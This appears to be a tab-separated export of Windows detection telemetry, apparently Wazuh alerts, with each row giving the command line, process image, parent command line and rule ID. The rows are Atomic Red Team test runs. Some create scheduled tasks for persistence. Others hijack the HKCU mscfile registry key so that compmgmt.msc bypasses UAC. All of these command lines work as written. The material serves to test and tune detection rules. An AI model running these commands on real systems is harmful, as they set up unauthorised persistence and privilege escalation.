data.win.eventdata.commandLine	data.win.eventdata.image	data.win.eventdata.parentCommandLine	rule.id
\"cmd.exe\" /c SCHTASKS /Create /SC ONCE /TN spawn /TR C:\\windows\\system32\\cmd.exe /ST 20:10	C:\\Windows\\System32\\cmd.exe	\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"	92004
SCHTASKS /Create /SC ONCE /TN spawn /TR C:\\windows\\system32\\cmd.exe /ST 20:10	C:\\Windows\\System32\\schtasks.exe	\"cmd.exe\" /c SCHTASKS /Create /SC ONCE /TN spawn /TR C:\\windows\\system32\\cmd.exe /ST 20:10	92032
C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding	C:\\Windows\\System32\\wbem\\WmiPrvSE.exe	C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p	
\"powershell.exe\" & {$xml = [System.IO.File]::ReadAllText(\\\"\"C:\\AtomicRedTeam\\atomics\\T1053.005\\src\\T1053_005_WMI.xml\\\"\") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \\\"\" Root\\Microsoft\\Windows\\TaskScheduler\\\"\" -MethodName \\\"\"RegisterByXml\\\"\" -Arguments @{ Force = $true; Xml =$xml; }}	C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe	\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"	92027
\"cmd.exe\" /c reg add \" HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\calc.exe\" /f & schtasks /Create /TN \"CompMgmtBypass\" /TR \"compmgmt.msc\" /SC ONLOGON /RL HIGHEST /F & ECHO Let's open the Computer Management console now... & compmgmt.msc	C:\\Windows\\System32\\cmd.exe	\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"	92052
reg add \" HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\calc.exe\" /f	C:\\Windows\\System32\\reg.exe	\"cmd.exe\" /c reg add \" HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\calc.exe\" /f & schtasks /Create /TN \"CompMgmtBypass\" /TR \"compmgmt.msc\" /SC ONLOGON /RL HIGHEST /F & ECHO Let's open the Computer Management console now... & compmgmt.msc	92041
schtasks /Create /TN \"CompMgmtBypass\" /TR \" compmgmt.msc\" /SC ONLOGON /RL HIGHEST /F	C:\\Windows\\System32\\schtasks.exe	\"cmd.exe\" /c reg add \" HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\calc.exe\" /f & schtasks /Create /TN \"CompMgmtBypass\" /TR \"compmgmt.msc\" /SC ONLOGON /RL HIGHEST /F & ECHO Let's open the Computer Management console now... & compmgmt.msc	92032
\"c:\\windows\\System32\\calc.exe\"	C:\\Windows\\System32\\calc.exe	\"cmd.exe\" /c reg add \" HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\calc.exe\" /f & schtasks /Create /TN \"CompMgmtBypass\" /TR \"compmgmt.msc\" /SC ONLOGON /RL HIGHEST /F & ECHO Let's open the Computer Management console now... & compmgmt.msc	92032